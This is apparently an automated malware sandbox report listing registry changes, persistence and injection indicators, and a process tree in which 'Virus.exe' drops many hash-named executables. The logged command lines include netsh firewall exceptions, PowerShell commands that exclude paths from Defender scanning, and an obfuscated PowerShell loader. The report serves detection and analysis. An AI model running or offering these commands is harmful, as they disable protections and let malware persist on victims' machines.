Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	firefox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\MuiCache	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "6"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "17843"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "17843"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "24085"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "14002"	SearchHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 0100000000000000ffffffff	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "24085"	SearchHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
6076	schtasks.exe
6740	schtasks.exe
5956	schtasks.exe
6560	schtasks.exe
6932	schtasks.exe
5444	schtasks.exe
6740	schtasks.exe
5984	schtasks.exe
6836	schtasks.exe
8084	schtasks.exe
5748	schtasks.exe
7864	schtasks.exe
8616	schtasks.exe
7120	schtasks.exe
7884	schtasks.exe
3020	schtasks.exe
7616	schtasks.exe
6476	schtasks.exe
8060	schtasks.exe
9676	schtasks.exe
6392	schtasks.exe
5640	schtasks.exe
6304	schtasks.exe
10200	schtasks.exe
8044	schtasks.exe
6344	schtasks.exe
8744	schtasks.exe
6084	schtasks.exe
6948	schtasks.exe
8512	schtasks.exe
8836	schtasks.exe
5748	schtasks.exe
7188	schtasks.exe
8296	schtasks.exe
7576	schtasks.exe
6080	schtasks.exe
8044	schtasks.exe
5640	schtasks.exe
7132	schtasks.exe
8188	schtasks.exe
7032	schtasks.exe
7012	schtasks.exe
5352	schtasks.exe
8712	schtasks.exe
8368	schtasks.exe
1424	schtasks.exe
5164	schtasks.exe
7232	schtasks.exe
5620	schtasks.exe
5152	schtasks.exe
5316	schtasks.exe
7316	schtasks.exe
4188	schtasks.exe
6816	schtasks.exe
7080	schtasks.exe
6852	schtasks.exe
6676	schtasks.exe
7828	schtasks.exe
10156	schtasks.exe
6628	schtasks.exe
5796	schtasks.exe
7460	schtasks.exe
5440	schtasks.exe
6668	schtasks.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

firefox.exe

pid process

4204 firefox.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

firefox.exeFileCoAuth.exe

description	pid	process
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	1900	FileCoAuth.exe
Token: SeDebugPrivilege	1900	FileCoAuth.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe
Token: SeDebugPrivilege	4204	firefox.exe

Suspicious use of FindShellTrayWindow 21 IoCs

Processes:

firefox.exe

pid	process
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe
4204	firefox.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

firefox.exeSearchHost.exeSearchHost.exe

pid process

4204 firefox.exe
4204 firefox.exe
4204 firefox.exe
4204 firefox.exe
4204 firefox.exe
2136 SearchHost.exe
4204 firefox.exe
3784 SearchHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

firefox.exefirefox.exe

description	pid	process	target process
PID 4624 wrote to memory of 4204	4624	firefox.exe	firefox.exe
PID 4624 wrote to memory of 4204	4624	firefox.exe	firefox.exe
PID 4624 wrote to memory of 4204	4624	firefox.exe	firefox.exe
PID 4624 wrote to memory of 4204	4624	firefox.exe	firefox.exe
PID 4624 wrote to memory of 4204	4624	firefox.exe	firefox.exe
PID 4624 wrote to memory of 4204	4624	firefox.exe	firefox.exe
PID 4624 wrote to memory of 4204	4624	firefox.exe	firefox.exe
PID 4624 wrote to memory of 4204	4624	firefox.exe	firefox.exe
PID 4624 wrote to memory of 4204	4624	firefox.exe	firefox.exe
PID 4624 wrote to memory of 4204	4624	firefox.exe	firefox.exe
PID 4624 wrote to memory of 4204	4624	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 1972	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 2664	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 2664	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 2664	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 2664	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 2664	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 2664	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 2664	4204	firefox.exe	firefox.exe
PID 4204 wrote to memory of 2664	4204	firefox.exe	firefox.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\クラック.zip
1⤵
PID:2876

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3640

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1932 -parentBuildID 20240401114208 -prefsHandle 1860 -prefMapHandle 1852 -prefsLen 23678 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ecf4c385-990f-459c-95e0-3ef82a6a4993} 4204 "\\.\pipe\gecko-crash-server-pipe.4204" gpu
    3⤵
    PID:1972
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2332 -parentBuildID 20240401114208 -prefsHandle 2324 -prefMapHandle 2320 -prefsLen 23714 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e6e7b82b-53c3-4727-a4b8-abd441923273} 4204 "\\.\pipe\gecko-crash-server-pipe.4204" socket
    3⤵
    PID:2664
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1440 -childID 1 -isForBrowser -prefsHandle 3020 -prefMapHandle 3048 -prefsLen 23855 -prefMapSize 244658 -jsInitHandle 1344 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {14416b0e-c123-40ba-b606-6ff913e4b3a0} 4204 "\\.\pipe\gecko-crash-server-pipe.4204" tab
    3⤵
    PID:4940
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3804 -childID 2 -isForBrowser -prefsHandle 2916 -prefMapHandle 2676 -prefsLen 29088 -prefMapSize 244658 -jsInitHandle 1344 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c1f45ca-e061-4774-bf53-17b12213f89f} 4204 "\\.\pipe\gecko-crash-server-pipe.4204" tab
    3⤵
    PID:4028
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4408 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4472 -prefMapHandle 4468 -prefsLen 29088 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {972fa866-bb17-487d-bde9-92742981d512} 4204 "\\.\pipe\gecko-crash-server-pipe.4204" utility
    3⤵
    - Checks processor information in registry
    PID:4384
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5320 -childID 3 -isForBrowser -prefsHandle 5300 -prefMapHandle 5308 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1344 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2c750cb5-5cfe-4324-a895-c7c7cce9bb7a} 4204 "\\.\pipe\gecko-crash-server-pipe.4204" tab
    3⤵
    PID:4456
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5472 -childID 4 -isForBrowser -prefsHandle 5548 -prefMapHandle 5544 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1344 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b7277057-dc32-47f1-967c-e202ca06a2ab} 4204 "\\.\pipe\gecko-crash-server-pipe.4204" tab
    3⤵
    PID:4912
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5700 -childID 5 -isForBrowser -prefsHandle 5444 -prefMapHandle 5448 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1344 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d12650e8-c8ac-4c9e-8f94-d32c259927af} 4204 "\\.\pipe\gecko-crash-server-pipe.4204" tab
    3⤵
    PID:3104
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6092 -childID 6 -isForBrowser -prefsHandle 6160 -prefMapHandle 6124 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1344 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7dc61d08-d5a8-4a5a-b811-e55e18241da0} 4204 "\\.\pipe\gecko-crash-server-pipe.4204" tab
    3⤵
    PID:4036
- - C:\Program Files (x86)\Virus.exe
    "C:\Program Files (x86)\Virus.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5536
  - - C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
      "C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe"
      4⤵
      PID:5636
  - - C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
      "C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe"
      4⤵
      PID:5716
    - - C:\Program Files\Windows NT\TableTextService\en-US\SearchHost.exe
        
        "C:\Program Files\Windows NT\TableTextService\en-US\SearchHost.exe"
        5⤵
        
        PID:10216
  - - C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
      "C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe"
      4⤵
      PID:5768
  - - C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
      "C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe"
      4⤵
      PID:5828
    - - C:\Users\Admin\AppData\Local\Temp\server.exe
        
        "C:\Users\Admin\AppData\Local\Temp\server.exe"
        5⤵
        
        PID:6332
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:7664
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Exsample.exe
        6⤵
        Kills process with taskkill
        
        PID:7204
  - - C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
      "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe"
      4⤵
      PID:5868
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:6504
  - - C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
      "C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe"
      4⤵
      PID:6000
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\dllhost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9084
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellExperiences\firefox.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9096
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Google\winlogon.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9112
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Photo Viewer\OfficeClickToRun.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9120
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Sidebar\SearchHost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9160
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9176
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\E7NMoAtrG6.bat"
        5⤵
        
        PID:10020
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:4828
      - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        6⤵
        
        PID:8784
      - C:\Program Files\Google\winlogon.exe
        
        "C:\Program Files\Google\winlogon.exe"
        6⤵
        
        PID:6964
  - - C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
      "C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe"
      4⤵
      PID:6068
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
        
        "Powershell.exe" -windowstyle minimized "$Teratism249 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\celleslim\farve\pitiableness\Guldtand.Spi168' ; $Neglefilen=$Teratism249.SubString(69482,3);.$Neglefilen($Teratism249) "
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1468
  - - C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
      "C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe"
      4⤵
      PID:6140
    - - C:\Program Files\Internet Explorer\images\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
        
        "C:\Program Files\Internet Explorer\images\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
        5⤵
        
        PID:4800
  - - C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
      "C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe"
      4⤵
      PID:484
  - - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
      "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
      4⤵
      PID:5164
    - - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
        
        "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
        5⤵
        
        PID:7840
  - - C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
      "C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe"
      4⤵
      PID:5140
    - - C:\Windows\winhlp32.exe
        
        winhlp32.exe -x
